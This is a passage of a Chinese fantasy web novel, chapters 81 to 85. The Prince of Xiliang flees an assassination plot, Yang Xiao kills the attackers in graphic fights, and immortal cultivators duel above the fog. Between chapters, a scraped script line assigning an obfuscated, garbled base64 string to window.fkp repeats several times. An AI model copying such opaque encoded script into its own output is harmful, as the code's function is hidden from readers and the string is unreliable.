杨笑劝道:“兵法有云:主孰有道?将孰有能?天地孰得?法令孰行?兵众孰强?士卒孰练?赏罚孰明?如今我西梁占尽天时地利人和,依孩儿所见此乃天意,既受仙人指点,父王当顺势而为。既然陛下不仁在前父王大可不义在后,以我西梁数十万铁骑要夺取皇位的话也并不是什么难事。” “话虽是这么说,可我还是下不了这个决心,离初七还有三天我们还可以再等等,说不定是胡总管听错了。”西梁王叹口气道。 “如此也好。不论如何孩儿定保父王无恙。” 次日,西梁王上表想要去皇陵祭陵,皇帝恩准。虽然有王府亲卫随行护卫但皇帝还是安排了随行人员。 西梁王先是到太庙祭祀一番,然后又到先皇的陵寝上供祭祀,从头到尾身边都有皇帝派来的人跟随左右。要是以往西梁王还不太在意,只当是皇帝关怀,奴才尽心罢了,可现在怎么看怎么像是在监视自己。而他们也确实是在监视。西梁王心里冷冷道:“我这皇侄儿还真是尽心,王府内外到处都派了人在关心我这个老头子。” 祭祀完毕,返程时路过另一处皇陵,西梁王命停住马车。随行宦官上前问道:“王爷有何吩咐?” 西梁王从马车上下来看了看前面的皇陵说道:“这是我皇爷爷的陵寝,还记得小时候皇爷爷最是疼我了,既然路过这里了那就进去看看吧!” 那宦官乃是皇帝派来随行侍候的,听说西梁王要临时改道便说道:“王爷只请了到先皇陵寝祭灵的旨意,现在要临时改变道路是不是有些……。” 西梁王有些不悦道:“怎么,本王要去看望自己的爷爷难道你有意见?要不要本王现在就向陛下请旨?”那宦官立刻告罪不敢。 西梁王在陵前祭祀完毕后却并没有要离开的意思,于是那宦官上前催促道:“王爷该回府了。” 西梁王:“本王想要跟皇爷爷说几句话,你们先下去吧。”宦官答应一声后挥手退去了随行人员而他自己却并没有离开。西梁王见他还不肯离开更加的不高兴了:“本王要跟皇爷爷说几句体自话,你有兴趣一块听一听?” 那宦官犹豫一下道:“奴才不敢,奴才这就告退。” 所有的随从都退到了皇陵以外。西梁王在皇陵前伫立良久,他静静地望着前方,也不知道在看什么。不知道过了多长时间,西梁王缓缓地吐出一口气来,然后抽出腰间的佩剑抽在地上。西梁王跪地拜了三拜开口道:“皇爷爷,孙儿遇到了一件关乎生死也关乎我大周国运的事。孙儿一心为我大周辅佐当今皇上不敢有一天懈怠,可我那皇侄儿却想着要把我置于死地。如今摆在孙儿面前的只有两个选择,要么生,要么死。有人劝孙儿起兵造反夺取皇位,可孙儿这心里实在是不知道该怎么办啊!皇爷爷在天有灵还望指点孙儿,若要孙儿生就让这剑向左倒,若要孙儿死就叫这剑往右倒,是生是死全凭皇爷爷发落。” 那柄剑立在地上晃晃悠悠的半天没有要倒的意思,看的西梁王都不免有些心急了。西梁王又拜道:“请皇爷爷示下。”那剑终于哐当一声倒在了一边。西梁王见到后磕了个头说道:“孙儿知道该怎么办了。”说完起身离去。 西梁王刚离开,一股微风在皇陵前吹过,一个若隐若现的青色身影出现在西梁王刚才所在的地方。青衣人看着西梁王离去的背影脸上露出一丝笑容,又化作一股风不见了。 这天夜里宵禁方一开始就有几队人马悄悄的把守住了王府附近的各处路口。 这时的西梁王府内只剩寥寥几人,西梁王几天前就陆续的暗中遣散了王府内的人,用西梁王的话来说就是“没必要让这么多无辜的人为我这个糟老头子陪葬。” 西梁王望着天上缺了一半的月亮感慨道:“人呐!就像这天上的月亮一样是要变的,它不会一直那么圆那么亮,也不会总是缺那么一块,更不会一直躲在云后面,该露出来的时候总是要露出来的。” 一旁的杨笑说道:“父王一连几天没有上朝,陛下想必等的有些心急了。”这时候从四周的房顶上传来一片瓦片碎裂的声音,随后数十个黑衣人纷纷跃到院中。 西梁王呵呵两声道:“暗杀?连一个冠冕堂皇的借口都不找了吗?”言语间又多一份失望。 众黑衣人当中一人开口道:“我们也是奉命来送您老人家上路的,所谓冤有头债有主,还请您老人家到了那边不要记恨我们。上!”黑衣人纷纷手挚兵器向西梁王围了过来。杨笑上前一步将西梁王挡在身后:“那先要问过杨某手中的刀!” 话音刚落已有二人当先杀至杨笑面前,杨笑“仓啷”一声抽出腰间长刀,顺势一个横斩,只一刀就把杀来的两个黑衣人连人带刀削做两半。两对半截尸体倒在地上无声的挣扎几下渐渐地没了动静,这般死状傻子看了都知道肯定是痛苦不堪。后面的黑衣人一时间全都停住了脚步。 这些人本就是被人豢养的死士,一个个过惯了刀尖上舔血的生活,一点点的震慑不足以让他们后退。“一起上,别跟这小子客气!”为首的黑衣人命令道。众黑衣人互相看了一眼也不作多想便再次冲了上来。 ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第八十二回 反出圣京城(二) 杨笑道一声:“来的好!” 坐以待毙不是杨笑的作风,主动出击才是他的性情,只见他一步跃下台阶与众黑衣人战在一起。 自从杨笑从蕃族边境回来后还从来没有像今天这般大开过杀戒,这一次杨笑要让这帮所谓的死士知道什么是十步一杀!什么是面对死亡的恐惧! 只一个回合就有数名黑衣人在惨叫声中倒地不起,再有两三个回合已有少半的黑衣人死在了杨笑的刀下。如今以杨笑练气中期的修为又岂是这些凡夫俗子能比得了的,几个回合下来别说伤到杨笑,连他的衣襟都没有粘到一片。 见在杨笑手下讨不了好,两个脑袋瓜子活泛点的黑衣人便绕到一旁想要偷袭西梁王,不过这些小动作又怎么能逃得过杨笑的眼睛。就在二人刚想要动手之际,杨笑一刀斩断了面前一人的手腕,那人的手被斩落时犹自握在刀柄上,接着杨笑反手一刀拍在那刀柄上,雪亮的钢刀连同那只断手一齐飞向了意欲偷袭的二人。而那意欲偷袭的两个人此时刚刚将手中的刀举起,忽然在眼角余光中瞥见一道白光闪过,当先一人连忙挥刀去挡。杨笑就像是算准了对方的一举一动似的,那刀被当先的黑衣人一挡,刀锋一转折向了他身旁的同伴,而那同伴还来不及反应就被一刀刺穿了脖子身体猛然一抖,然后就软软地倒了下去。直到这名黑衣人倒地毙命,那只断手依然紧紧地握在刀柄上。 这边杨笑拍飞了那柄刀后看也不向那边看一眼,而是就势一刀挥出。只见刀光一闪,面前正在与杨笑交手的两名黑衣人突然间就没了动静。两人就那么站在原地,本来剧烈舞动的身体此时却一点也不听使唤了,两人面上渐渐地露出恐惧的神情来。一条血线渐渐的在二人的脖颈处显露出来,接着殷红的血液流了出来,再接着两颗大好头颅就从二人的肩膀上滚落下来。滚在地上的两颗头颅面容上依旧是惊恐的表情,到这时他们才明白过来自己这是被了结了性命,也算是死了个明白。最后映入他们眼中的画面是两具站在那里的无头尸体,在无头尸体的脖颈处正喷撒着高高的血柱。 而杨笑在挥出那一刀后早已翻身后退跃回了西梁王身边,此时的他正缓缓的把刀从那名意图偷袭西梁王的黑衣人的胸膛里抽出来。一场撕杀下来杨笑的一招一式就如行云流水般干净利落,丝毫没有拖泥带水。 杀到这时候在场的黑衣人就只剩下寥寥数人了,这几个人相互对视一眼都从对方的眼神里看到了惧意,几个黑衣人全都慢慢的向后挪动着脚步。杨笑见几个人想要逃又怎能随他们的意,冷哼一声道:“既然来了,又何必急着走呢!”说完一步踏出。 几个人此时早已吓破了胆,杨笑这时候在他们的眼中就如同杀神临世一般。听到杨笑的这句话就跟听到了无常鬼的钩魂鬼音没什么两样,一个个跑起来就只恨亲娘给自己少生了两条腿。 两个跑的慢的被杨笑追上前去一刀一个砍翻在地,另外两个眼见逃命无望一咬牙又转身向杨笑杀了过来,被杨笑一个擦肩错身间就结果了性命。杨笑挑起二人掉落的一把刀,将那把刀在自己的刀尖上转了两圈然后向最后一个黑衣人甩了过去。那名黑衣人此时已经跃上了墙头,只要跳下去就有望逃出生天。只是那黑衣人刚刚跃起,一把钢刀就追上了他,在他的脖颈处一绕,那黑衣人“扑通”一声掉到了墙外没了动静。 从黑衣人闯入到被杀光,西梁王始终神情自若的站在原地一步也没有挪动。此时王府内外又恢复了平静,西梁王看着满地狼藉的庭院沉默良久。 这时自府门处传来一阵嘈杂声。西梁王望着那个方向说道:“这会儿来的想必是给我收尸的吧!我之所以等到现在就是因为心里还抱有那么一丝希望,希望他能回心转意,更希望是胡总管听错了。”末了西梁王叹口气道:“最是无情帝王家呀!” “父王,我们该走了。”杨笑提醒道。 两个人来到王府后院的一处小门前,通过这个小门进入了一个偏僻的小院,然后又从这个小院拐进了另一个院子。就这样二人七拐八拐的走过了几处院落后来到了一条不知名的小巷里。这里距离王府已经有一段距离了,小巷里寂静无声,二人分辨了一下方向后朝巷外走去,从这里再过几个街口就是城墙了。 路上躲过了两队巡逻的士兵,很快二人来到了一处城墙下。三四丈高的城墙巍峨耸立,保护着已有上千年历史的古城。 “早知有今日,当初就不该把前任西梁王留下的暗道给堵上了。” 从西梁王的这句话里可以听出来,前几任的西梁王也知道自己的身份地位比较特殊,难保哪天皇帝就会对自己起杀心,所以都给自己留有后路。只是到了现任西梁王这里,他自信与先帝兄弟情深,先帝断然不会对自己生有二心,所以才不屑于这些所谓的后路,就下令把它们都给堵死了。谁知天有不测风云,先皇确实没对他生出异心,相反还十分的器重他,把自己的接班人都交给他辅佐。但是,先皇信任他不代表新皇信任他。想到这里,西梁王也有些后悔没给自己留一条后路了。 相较于先前的暗杀,如何翻越这堵城墙才是西梁王最担心的,天亮之前出不了城就是躲过再多的暗杀也是白搭,不过这对杨笑来说却是小事一桩。杨笑观察了一下,确定四下无人后打了个口哨,一个巨大的黑影从城头上窜了下来。黑影来到杨笑身边低头在他身上蹭来蹭去,很是亲密的样子,正是小黑。杨笑与西梁王骑上小黑,只听杨笑低声说一个“走”字,小黑便纵身一跃爪子在城墙上借一下力就窜到了城头上。 两个守城的军卒听到先前的动静,正要过来查看就看到一头庞然大物窜上了城墙,就在两个军卒就要惊呼出声时,被杨笑甩手打出的飞针钉在面门上一命呜呼了。 小黑一个跳跃稳稳地落下城头,再一跃已过了护城河,驮着两个人消失在了夜幕中。西梁王回头看了看圣京城的方向暗暗道:“本王还会回来的!” 此去杨笑又会遭遇些什么呢?欲知后事如何,且听下回分解! ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第八十三回 仙门的赌约(一) 仙门的赌约 ?话说杨笑带着西梁王逃出了圣京城。两个人刚离开了西梁王的府邸,就有一队皇城禁军闯了进来。王府内哪里还有西梁王的身影,有的只是一地的狼藉和散落满院的残肢断臂。 禁军首领虽然也是行伍出身,可常年在宫中走动哪里又见过这等血腥的场面,一进门就被面前的惨象,还有空气中弥漫着的腥臭气息给?的几欲作呕。那名禁军首领冲出门外扶着墙干呕了几口,定了定神后连忙回宫禀告。 皇帝得知走脱了西梁王的消息后大惊失色,急的满地乱转。旁边一个长相怪异的奇人开口道:“陛下不必慌恐,跑得了和尚,难不成还跑得了庙?陛下只要速速派人沿途拦截定能将其捕获。” 这人长的斜眉吊眼,酱紫面皮,留了三撇小胡子,说起话来那声音就像山羊“咩咩”叫一般。 皇帝听了他的话后连说:“甚妙!甚妙!” 这边杨笑带着西梁王出城后一路向西而去,走着走着却发现自己不知什么时候偏离了大路,走到了一处不知道是什么地方的荒郊野岭里来,而且四周不知什么时候起了雾。这雾大的出奇,当真是目不及丈,脱手难寻,再加上天又黑,二人兜兜转转好一会儿也没有找到回去的路。 就在二人心中焦急之时,一个声音隐隐从前面传来。那声音若有若无,断断续续,二人屏住呼吸仔细听了听,却实是有声音从前方传来。现时间正愁无路可走,于是二人便决定寻着那个声音传来的方向而去。 走了一段路后,那声音听的越发清晰了,好像是马车行走时车套上的钩具相互碰撞发出的声音。既然有车,那一定是有人有路了,二人于是加紧步伐赶上前去。可哪知以小黑的速度,赶了好一会儿也没有见到人影,只有那个声音始终从不远的前方传来,追着那个声音再走没一会儿,竟然走出了迷雾。 此时正值月朗星稀,明亮的月光照的四野清晰可见。二人定晴一看,眼前正是往西梁而去的大路,而前方远远的有许多灯火,隐约间似乎是一处营地,正是西梁王亲卫驻扎的大营。 这座大营其实离圣京城并没有多远的路,原来二人在雾中赶了半天路才走出这么点路程。西梁王抚须道:“看来是冥冥之中有神灵护佑啊!”说着拱手向四周苍穹答谢一礼。 就在杨笑与西梁王在迷雾中兜兜转转,心急如焚的时候,在他们头顶上的云层中正有另一场纷争正在进行着。 地面上大雾弥漫,天空中的云层之上却是却是另一番光景。 月光柔美,星光点点。云头上一个身着黑纱,肌肤白净,秀丽的容貌中透着几分媚惑的美妇人正慵懒地斜倚在云朵上。 美妇人一只手臂轻托着脑袋,慵懒的身姿纤细婀娜,曲线优美。修长白皙的美腿从黑纱下露出恰到好处的一截来,真是多露一分就显的太做作,少露一分则没了那份诱惑。那双腿勾勒出的线条真是太美了,相信这世上任何一个男人看了那双腿都会被它把魂儿给勾了去,忍不住就要浮想联翩。娇小白嫩的脚丫不时的晃上一晃,显的那么的顽皮可爱,让人想要把它捧在手里亲上一亲。 美妇人一只如荑玉手玩弄着从肩上垂落下来的纱巾,时而漫不经心的轻挥一下手臂,时而斜瞥一眼下方的地面,不过从那双好看的眸子里透出来的却是冰冷和轻蔑。那冰冷轻蔑的眼神就如同是在看一只将死的蝼蚁一般。 在美妇人的胸前正悬浮着一个像是瓷盘一般的光团。那光团发出淡淡的粉红色的光芒,光团中还有一道道奇异的符文闪动。那光团就如同活物一般缓缓地蠕动着,其上发出的亮光将美妇人胸前的那片汹涌照的更加的粉嫩诱人了。(各位看官是不是对这美妇人的美腿玉足还有汹涌波涛感兴趣的很?让各位看官失望了,也只能到此为止了,再说下去就要被和谐了。) 黑纱美妇就那么冷默的看着下方大雾中的两个人,时不时的轻挥一下手臂。随着她的手臂挥动,就有一道泛着奇特纹路的光芒射入到那个圆盘中,那些有纹路的光芒没入圆盘之后圆盘也回应着闪动两下光芒,然后圆盘的底部就有一团团雾气飘飘荡荡地落入了下方的重重迷雾中。 迷雾中的两个人不是别人,正是杨笑与西梁王。美妇人看着杨笑二人在那里转来转去,就像是看着自己手中两个随时可以被捏死的玩物一般。 美妇人就这么玩弄了一阵子掌中的玩物,似乎是觉得有些乏味了,然后就像是又想到了什么似的嘴角微微地勾起,露出一抹冷笑来。那美妇人把一只手掌一摊,一杦杦同样闪动着粉芒的小巧旗帜出现在美妇人的手中。这些小旗以及那只圆盘可都不是寻常物件,乃是如这黑纱美妇般的存在,在施法布阵时经常要用到的阵旗和阵盘。 就在那美妇人挥手要将这些阵旗布放下去之时,一个声音在其耳边轻轻响起:“道友这么做是不是有些过分了呀?” 美妇人听到这个声音后立刻惊起道:“谁!” 人美,就连受惊时的声音也这么美。 她自趁如今也有些修为,能距离自己如此近,还能让自己毫无察觉的定然不是等闲之辈,也难怪这个声音会让她心中一惊。 “一个迷雾阵就足以把他们困住了,用小迷魂阵是要至人于死地吗?”话音响动间一个青色的身影缓缓的在美妇人面前不远处显现出来,正是杨笑和西梁王遇到过的青衣仙人。 美妇人看清来者后稍稍舒了口气,有些恼道:“木青叶,你来做什么?” 原来这位青衣仙人名叫木青叶。一身青衣的木青叶听到这句话后呵呵道:“这句话似乎是该我来问姬道友才对吧?” 黑纱美妇乃是黑鹫山的修士,姬如雪。不过她可不是大司马那样的弱鸡,姬如雪在木青叶面前毫无惧意,姬如雪听到木青叶的话后冷哼道:“哼!本姑娘想去哪里还用得着你木青叶来管?” “可你施法困住的是我花岛的人,这样一来我当然要管上一管了。”木青叶依旧是笑呵呵的。 “分明是一个凡人加上一个不知从哪里冒出来的练气期的野小子,怎么就是你花岛的人了?”黑衣美妇反驳道。 木青叶直了直身子正色道:“姬道友要是这么说的话那在下就要跟姬道友好好的捋一捋了!” 黑衣美妇冷哼一声将头扭到一边不想理木青叶的话。 木青叶也不管她愿不愿意听,继续自顾自的说道:“你黑鹫山既然输了赌斗,你家山主就须按赌约行事。眼下这二人是我花岛下一步计划的重要人物,当然也算是我花岛的人了。”说话间木青衣手指轻轻一弹,一片青色的树叶在空中凝结而出,随后那片树叶便悠悠荡荡地飞向了下方的二人。“姬道友还有什么要说的吗?”木青叶接着说道。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第八十四回 仙门的赌约(二) 姬如雪把那张诱人的脸庞往旁边一扭,噘嘴说道:“那又怎么样?赌约里又没说不许奴家来这里玩儿一玩儿。”先前的冷默早已丝毫不见踪迹反而耍起了无赖。不过她那姣好的容貌加上那好听的足以媚惑人心的声音,就是耍一点无赖也让人生不起气来。姬如雪一边说着一边背着双手抬头望着天空渡起了步子来。 木青叶含笑道:“姬道友要来玩儿上一玩儿当然没问题,只是还望不要影响我花岛的安排就行。” 姬如雪立刻歪着小脸回道:“我就是来捣乱的,怎么样啊?”姬如雪继续耍着无赖。 木青叶依旧是面含笑意:“姬道友莫要让在下为难。” “这就为难了么?那要是这样又是什么呢?!”姬如雪媚笑着就往木青叶身上靠了过来。此时的姬如雪已然绕到了木青叶身侧,话音未落,借着假意向木青叶身上靠的动作就是一掌如闪电般拍出。 她这一击近身偷袭来十分的突然,先前还是装可爱耍无赖做出一副人畜无害的诱人貌样,冷不丁的就突然发起难来,还真是让人防不胜防。可木青叶并未被她的样子谜惑,时刻都保持着提防之心,不等姬如雪这一掌拍来早已闪身躲过,同时也向姬如雪推出一掌。姬如雪一击不中赶紧抽掌防守,两人对拍一掌纷纷向后跃开。 木青叶飘然落在云头上,风轻云淡道:“姬道友还是这么喜欢从背后下手。” 姬如雪站稳身形,媚眼如丝。她不以为然道:“那又怎样?”话说到一半竟是突然脸色一变:“看法器!” 姬如雪先是手臂一甩一只冰锥在空中凝出,随即那只冰锥便闪电般射向不远处的木青叶,接着她又双手一捧,一只白玉簪出现在她的手中。 玉簪上雕了一只凤凰,那凤凰雕工甚好,晶莹剔透,栩栩如生。姬如雪轻启红唇呢喃着念诵了几句咒语后,朝那只玉簪轻轻的吐出一口气。那玉簪立即如雪花随风舞动般飘然而起,在空中化作一只硕大的白凤。那白凤在空中啼叫一声,声音清脆悦耳。白凤身周寒气弥漫,所过之处有片片雪花纷纷飘落。 白凤在空中一个盘旋向木青叶袭去。 木青叶知道这法器厉害,手中光芒一闪,一把碧绿长剑出现在手里,挥剑打落冰锥。另一手手掌摊开,掌心中飘浮着一个小贝壳,那贝壳模样普通,灰不溜秋的,也无甚光泽。 木青叶见那白凤攻来将手中贝壳向前一迎,口中喝一声:“起!” 一声“起”字喝出,那贝壳立时光芒四射幻化出一个与本体模样相似的巨大光影来挡在木青叶身前。 白凤来势凶猛,鸟喙上寒芒闪动,犀利无比。二者很快便撞在了一起。“轰”的一声巨响,火星四溅。 白凤厉害,那贝壳却也不是凡物,只是此宝与木青叶本身修练的功法属性不同,在其手中也只能发挥出七八成的威能来,攻防之中似是落了下风,不过那贝壳光影忽明忽暗闪动几下还是挡下了白凤这一击。 贝壳所化的盾牌挡下白凤一击,白凤啼鸣一声就要再次攻来,木青叶另一手就欲举剑砍去。 这一边,姬如雪见白凤一击未能见功,木青叶又想要提剑反击,于是把手轻轻一招,那白凤立刻双翅一挥啼叫一声如一阵风般向后退去。 来时声势如雷,去时训疾如风。 白凤在姬如雪身边盘旋舞动,飘飘然煞是好看,留给木青叶的却是吹了满头满脸的寒风和雪花,样子显得有那么一点狼狈。 木青叶见白凤回转,举到半空中的剑也收了回来,口中“啧”了一声有些无奈的道:“姬道友修为不俗却不是在下的对手,还是不要闹了。” 说起来这姬如雪的身份背景还是有些特殊的,木青叶要不是顾忌她的身份也不会对她这么客气了。至于那吹了一身风雪的狼狈样子也是木青叶故意为之,为的是卖对方一个面子,好让姬如雪在占了点小便宜后能够见好就收。 木青叶想着让对方占点便宜后就此做罢,可这边姬如雪可不这么想。见到木青叶被自己弄的狼狈样子,姬如雪轻掩樱口“咯咯咯”地笑出了声来:“可是奴家觉得很好玩啊!” 木青叶也不愿多理她,低头看了一眼下方,见杨笑与西梁王二人在那片青叶的引导下就要走出迷雾心中稍稍安稳了些。木青叶回头对姬如雪道:“姬道友还不走?再这样下去,若是一时失手伤了姬道友那可就是在下的罪过了。” ?不等姬如雪开口一个尖厉的声音便远远的传了过来:“看样子你木青叶是要仗着修为境界欺负人喽?”说话间一个身影从天而降落到了姬如雪身旁。 来人五短身材,长的斜眉吊眼,酱紫面皮,留了三撇小胡子,说话的声音就像是山羊在叫唤,正是先前说到的在大周皇帝身边的那个异人。“姬师妹不是你的对手,若是再加上我呢?” 木青叶看清来人:“石道友?” 此人名叫石大奎,也是黑鹫山之人,不过他的修为可比姬如雪强上许多,一身土系功法修练的炉火纯青,其实力与木青叶可以说是在伯仲之间。 “不错!”石大奎将胸口挺了挺,矮胖身材配上他那副长相,样子实在是有些滑稽。“木道友记性很好嘛。”模样好笑,说出来的话可不让人觉得好笑。 “石道友一向少见。”木青叶客气一句。 石大奎将手一挥:“木道友不必客气,有什么手段尽管使出来!”一副老子就这个脾气,谁要跟你客气来客气去的样子。 木青叶见二人不肯罢休,一副铁了心要捣乱的样子,渐渐地变了脸色。木青叶也不在多作言语而是一抬手把一方宝印托在掌上。 那宝印上有华光闪烁,却又并不如何刺眼,反而给人一种十分柔和的感觉。宝印缓缓升空悬浮于木青叶的头顶,从宝印上射出一道光芒来把木青叶罩在中间。立时一股奇特的气息从木青叶的身上散发而出。这股气息好似山岳当前,帝王临面,让人忍不住生出一种想要顶礼的感觉。 ?“气运加持!”姬如雪与石大奎互相对视一眼不约而同出声道(所谓气运一说,各位看官容本棍子。先卖个关子,总之这个东西很厉害就是了。) 木青叶看了一眼头上的宝印说道:“二位道友可还有什么要说的吗?” “竟然将整个周国的气运都交到了你的手上,你们花岛可真够下本儿的!”石大奎见木青叶有气运加持,知道自己二人在其手中不但讨不到便宜,说不定还要付出不小的代价来,于是愤愤的说道:“我们走!”说完二人化作一道流光射向远方,很快就消失不见了。 等姬如雪二人彻底走远后木青叶才从头上取下了那方宝印。将宝印收好后木青叶擦了擦额头上渗出的汗水,心中暗自庆幸道:“总算是把这两个瘟神给唬走了,这一国气运还真不是好承载的!” 没了姬如雪主持法阵,此时迷雾已经消散了许多,见二人在青叶的引导下已然走出了迷雾,木青叶叹道:“你两个快着点吧!” 再说杨笑与西梁王两个人出了迷雾见前面就是西梁王亲卫大营,于是二人加快步伐向营门赶去。待得离营门近些了,杨笑却突然让小黑止住了步伐,西梁王不解道:“大营就在前边为何又不走了?” 杨笑惊惕道:“情况不对!” 至于杨笑二人又遇到了什么情况,欲知后事如何,且听下回分解! ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第八十五回 一力救胞泽 上回说到杨笑二人追着那奇特的马车声终于走出了漫天的大雾,二人辨别了一下方向后向西梁王亲卫驻扎的军营赶去。 杨笑催动胯下猛虎赶路,以小黑的速度只几个跳跃距离营门已然不远了。待得离营门近些了杨笑却又忽然止住了步伐,西梁王不解道:“怎么营门近在眼前反而不走了?” 杨笑警惕道:“好像有些不对劲儿!” “不对劲儿?哪里不对劲儿?”西梁王问道。 “看守营门的好像不是我西梁将士?” 听到杨笑的话西梁王也向营门处望去,只见高高挂起的灯笼下几个士兵正在来回的巡逻着。仔细看看西梁王也发现那些看守营门的士兵们不对劲,他们身上穿着的甲胄,手里提着的兵器,虽然也是西梁制式军械,可穿戴搭配上却显得有点不仑不类,别扭的很。二人对视一眼,心中都生出一丝不妙的感觉来,杨笑对西梁王说道:“父王稍安,待我去打探一番。” “他们不会已经发现我们了吧?”西梁王担心道。 杨笑安慰道:“不会,对方在明我们在暗,这里到营门还有些距离,他们应该不会发现的。” 于是杨笑转下大路找了个低洼处让西梁王和小黑暂时藏在这里,他自己则向大营的另一则绕了过去,打算找个机会悄悄的潜入军营之中。 杨笑绕着大营找了一段距离,终于找到了一个合适的位置。这里很少有巡逻的士兵经过,杨笑观察了一下四周的情形后用刀在大营的围栏下挖起土来。 这道围栏由一根根栽在地上的木桩组成,高高的围栏把军营围了个严严实实,在围栏的每个拐角处还搭建了高台,用来站岗放哨。其实以杨笑的身手要翻过这道围栏简直不要太容易,只不过怕被巡逻的士兵发现所以才在夜色和杂草的遮掩下想要挖开一个缺口进入围栏内。 挖了一会后,杨笑把一根木桩用力向旁边一推,两根木桩间的距离分开了一些,形成了一个能容一人侧身通过的缺口来,杨笑就从这个缺口钻入了围栏内。 进入围栏内杨笑又把那根木桩移了回来,然后四下看看,见周围没有巡逻的士兵,就想着往不远处一个木棚去看看。 刚要抬脚迈步忽然有一股恶臭扑鼻而来,那味道用令人闻之欲呕来形容一点都不过分。杨笑这才看清前面没几步远的地上有一个大土坑,刚才爬在围栏外面,黑灯瞎火的又有许多杂草遮挡所以没有看到,而那股恶臭就是从那土坑里散发出来的。 杨笑仔细的辨认了一下。原来这个地方竟然是军营中的便溺之所,而他刚才打算去查看的那个木棚就是茅房,至于这个大土坑嘛……当然就是粪坑了。 幸亏杨笑刚才没有翻墙而入,否则的话……堂堂西梁虎威将军竟然掉进了……啧啧啧,那画面简直不敢想象。想到这里,杨笑抚胸暗道一声:“幸亏!”怪不得这个地方没什么人来,原来是个茅厕,早知道的话杨笑就换个地方进来了。 杨笑绕过茅厕,在夜色的掩护下向附近的帐篷潜伏而去。摸到了一座帐篷跟前,杨笑轻轻的把帐篷的入口处扒开一条小缝借着昏暗的灯光向帐篷内看去。帐篷里面空无一人,只有几套被褥散乱的铺在地上。 杨笑又查看了几个帐篷,里面都是只有被褥没有人。西梁军军纪严明,士兵起床后都要将被褥叠放整齐,像这样的情况是绝对不允许的。“看来这里也发生了变故。”杨笑看着帐篷内的情影在心中想道。这时一队巡逻的士兵走了过来,杨笑连忙躲了起来。 等巡逻的士兵走过去后杨笑走出藏身处,望着走远的士兵杨笑寻思着:“门外的人还伪装一下,里面连伪装一下都懒得弄了吗?人都被他们杀了?不!一定还有人被关在什么地方。”这时又有一队巡逻的士兵从另一边走来,杨笑再次藏到阴影中。 那队巡逻的士兵路过杨笑藏身的这座帐篷时,其中的一个士兵突然说道:“哥几个,你们先往前面先慢慢走着,我去方便一下。”其他几个士兵答应一声后继续往前面巡逻去了。那士兵走向旁边的一座帐篷,把手里的长枪靠在帐篷上,向帐篷后的阴影处走去。 那士兵找了个地方站好后把裤腰解开刚要小便,一把冰冷的钢刀就抵在了他胯下的命根子上:“敢动一下,我就把你上下两个头都给割下来!” 那士兵被凉冰冰的刀尖抵住,裤裆里突然一凉,不由自主的打了个激灵,刚走到半道上的尿又给憋了回去,再听到这个要命的声音,早把魂儿都吓出来了。士兵颤抖着小声求饶道:“爷爷饶命!……爷爷想知道什么尽管问,小的一定知无不言。” “驻扎在这里的西梁兵都去哪儿了?”杨笑直接了当的问道。 “他们……他们……。”见这士兵支支吾吾的杨笑威胁着“嗯?”了一声,手里的刀又加了把劲儿:“是不是把他们都给杀了?” 那士兵立刻吓的说道:“没有,没有……他们一个都没有死,都被绑住了手脚关在那边的几个帐篷里。”士兵说着小心的向一个方向指了指。 杨笑接连问了那士兵几个问题,在得到自己想要的答案后就一掌拍在了士兵的脑门儿上。那士兵只觉得脑袋里“嗡”的一声便昏死了过去。 很快,杨笑就来到了那士兵所说的帐篷处。这里的防守明显的严密了许多,不止一队士兵在周围巡逻,许多帐篷前还有人站岗,杨笑也是费了好大的劲儿才混到这里的。 此时已是丑时时分,正是人在一天中最困的时候,初春的夜晚还是很冷的,看守帐篷的士兵又冷又饿又困,难免有些精神不济,有几个士兵站着都打起了旽儿。 杨笑观察了一会儿周围的情况,瞅准机会悄悄的走到一名站岗的士兵身后。这名士兵正在那里困的上下眼皮直打架,杨笑猛然间一手捂住那士兵的嘴,同时一手拿刀在他的脖子上一抹。那名士兵身体抽搐两下就没了动静。 这名士兵看守的帐篷正好处在其他几个人的视野死角,其他几个看守的士兵如果不走动几步的话是看不到这里的。所以杨笑才挑选这里下手的。 制服那名守卫的士兵后杨笑轻轻掀开帐篷,里面果然横七竖八的绑了许多的西梁兵。 见有人进来,帐篷内的人立刻挣扎起来,杨笑连忙做了个禁声的动作:“嘘~不要出声,是我。”杨笑小声说道。 借着昏暗的灯光有人认出了杨笑:“杨将军?是杨将军!” ?“别说话,我先救你们出去。” 很快杨笑就解开了捆绑众人的绳索。杨笑把随身携带的一把匕首交给其中一人:“大家分头行动,把其余的兄弟们都救出来。” 很快的,众人分头偷袭了其余守卫的士兵,割喉咙的割喉咙,勒脖子的勒脖子,拿石头砸脑袋的砸脑袋,总之是纷纷得手。谁让这些西梁王的亲卫一个个都是久经沙场的老手呢?不过他们的行动还是惊动了巡逻的士兵,但现在他们也不在乎这些了。 不要说杨笑这些人现在手头上已经有几件兵器了,就是赤手空拳这些个巡逻的士兵恐怕也不是他们的对手。很快的就把发现他们的士兵收拾了个干净,不过更多的士兵听到动静后朝这边赶了过来。 